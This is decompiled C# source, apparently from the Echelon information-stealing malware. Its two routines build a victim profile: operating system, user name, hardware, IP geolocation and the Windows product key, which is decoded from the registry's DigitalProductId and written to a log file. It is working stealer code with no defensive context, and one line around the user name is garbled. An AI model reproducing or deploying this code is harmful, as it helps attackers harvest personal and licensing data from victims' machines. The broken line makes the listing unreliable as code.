// Token: 0x06000242 RID: 578 RVA: 0x00010F34 File Offset: 0x0000F134 public static void GetSystem(string Echelon_Dir) { ComputerInfo computerInfo = new ComputerInfo(); Size size = Screen.PrimaryScreen.Bounds.Size; try { using (StreamWriter streamWriter = new StreamWriter(Systemsinfo.information, false, Encoding.Default)) { TextWriter textWriter = streamWriter; string[] array = new string[28]; array[0] = "==================================================\n Operating system: "; int num = 1; OperatingSystem osversion = Environment.OSVersion; array[num] = ((osversion != null) ? osversion.ToString() : null); array[2] = " | "; array[3] = computerInfo.OSFullName; array[4] = "\n PC user: "******"/"; array[7] = Environment.UserName; array[8] = "\n WinKey: "; array[9] = WinKey.GetWindowsKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId"); array[10] = "\n==================================================\n Screen resolution: "; int num2 = 11; Size size2 = size; array[num2] = size2.ToString(); array[12] = "\n Current time Utc: "; array[13] = DateTime.UtcNow.ToString(); array[14] = "\n Current time: "; array[15] = DateTime.Now.ToString(); array[16] = "\n==================================================\n CPU: "; array[17] = Systemsinfo.GetProcessorName(); array[18] = "\n RAM: "; array[19] = Systemsinfo.GetPhysicalMemory(); array[20] = "\n GPU: "; array[21] = Systemsinfo.GetGpuName(); array[22] = "\n ==================================================\n IP Geolocation: "; array[23] = Help.IP; array[24] = " "; array[25] = Help.Country(); array[26] = "\n Log Date: "; array[27] = Help.date; textWriter.WriteLine(string.Concat(array)); streamWriter.Close(); } } catch { } }
// Token: 0x06000271 RID: 625 RVA: 0x00011E34 File Offset: 0x00010034 public static string GetWindowsKey(string Path, string GetID) { string result = string.Empty; RegistryHive hKey = RunChecker.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser; RegistryView view = RunChecker.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32; try { using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hKey, view)) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(Path, RunChecker.IsWin64)) { result = (((Environment.OSVersion.Version.Major != 6 || Environment.OSVersion.Version.Minor < 2) && Environment.OSVersion.Version.Major <= 6) ? WinKey.GetDecodeKey((byte[])registryKey2.GetValue(GetID)) : WinKey.GetDecodeKeyWin8AndUp((byte[])registryKey2.GetValue(GetID))); } } } catch (Exception) { return("Unknown WinKey"); } return(result); }